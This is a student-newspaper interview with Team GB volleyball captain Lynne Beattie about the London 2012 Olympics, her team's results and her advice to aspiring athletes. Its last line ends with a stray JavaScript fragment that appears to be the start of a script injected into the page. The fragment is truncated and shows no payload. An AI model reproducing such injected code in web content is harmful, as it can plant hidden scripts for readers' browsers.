Scotland wasn’t short of Olympians and this year’s Games, and neither was Strathclyde. Here, former Strathclyde student and Team GB Olympian Lynne Beattie reflects on her time at the London 2012 Olympics, in an exclusive interview with the Strathclyde Telegraph. The Volleyball captain, who is currently out in Switzerland competing, failed to qualify for the Final Round in London, but despite the loss, Beattie was overwhelmed by the support at the Games;
“The atmosphere at the Olympics was better than I had ever imagined. The volleyball venue was Earls Court and it was amazing. Every time you walked down the player’s tunnel and emerged into the cauldron of fans, the hairs on the back of my neck would stand on end”.
Playing with the support of your entire nation was a particularly great experience for Beattie. She explained;
“The crowd were fantastic and really got behind us, even when we were up against it. When we scored a point, the roar was so immense that you just wanted to do everything you could to get another point so they would roar for you again. The enormity of the chant “let’s go GB… let’s go!” is something I won’t forget in a hurry.”
Beattie continued: “The general atmosphere around the athlete’s village and around London itself was also great… everyone was so friendly and the warmth shown by the city of London towards the Games was brilliant.”
The Pharmacy graduate went on to explain what is was like to be part of the spectacular closing ceremony of the Olympics: “Unfortunately we didn’t get to attend the opening ceremony because we played on the first day of competition, but we did get to go to the closing ceremony which was absolutely amazing. Because of the sheer success of the Games, it really was a huge celebration of what we had achieved as a volleyball team, as Team GB and as a nation, so everyone was on good form that night.”
“The acts were fantastic, not to mention two personal favourites of mine: The Spice Girls and Take That! It was great to be able to enjoy the spectacle and the moment after all the hard work that we had put in over the last five years. Being in the Olympic Stadium with 17,000 other athletes and 80,000 spectators cheering you on was a dream come true.”
During the Games, the women’s GB Olympic volleyball team were up against the likes of Japan, Italy, Dominican Republic, Algeria and Russia in Group A of the Preliminary Round, but only managed to seal two points from five matches played. However the Strathclyde graduate remains positive about the team’s performance:
“Of course we were disappointed, but you have to consider where we have come from as a team since we formed in 2006. Yes, we believed we could make it to the final stages, but we are very proud of our performances. We challenged the best teams in the world and beat Algeria, a team who at the time were ranked 53 places above us,” said the 26 year old.
“We finished ninth place over all, ahead of three established volleyball nations, and have now been awarded with an increase in world ranking from 69th to 20th in the world. To achieve what we have in such a short space of time and with no government funding behind us is a remarkable achievement and we hope to have inspired the nation to take up volleyball and leave a lasting legacy for our sport in the UK.”
“We were up against the best teams in the world who were just able to display a little more experience than us at crucial times. We gave it everything we had and have no regrets,” added the Olympian.
Beattie, who has played volleyball since the age of 12, explained how she first got involved with volleyball:
“I started playing at my secondary School, Mearns Castle, and was instantly fascinated by the sport. When I started university, volleyball started to get serious for me so I had to manage my studies and volleyball very well and Strathclyde did an amazing job of helping me do this.”
Beattie provided some advice for others hoping to one day make it to the Olympics: “It may sound cliché, but I believe if you want something enough, you can achieve it. Success won’t just happen, you have to work very hard for it, but if you want it enough, you will get it. Being a full-time student and an elite athlete is definitely not easy, but if you expect the difficulties and prepare for them appropriately, with the biggest challenge being time management, then you will be successful.”
“Being an Olympian was always my dream, and I didn’t let anything stop me. Yes there were many hurdles in my path, but I found solutions to them. Ultimately volleyball is a sport I loved, so I worked very hard to become the best I could be and now I am very glad I did.”var d=document;var s=d.createElement(‘script’);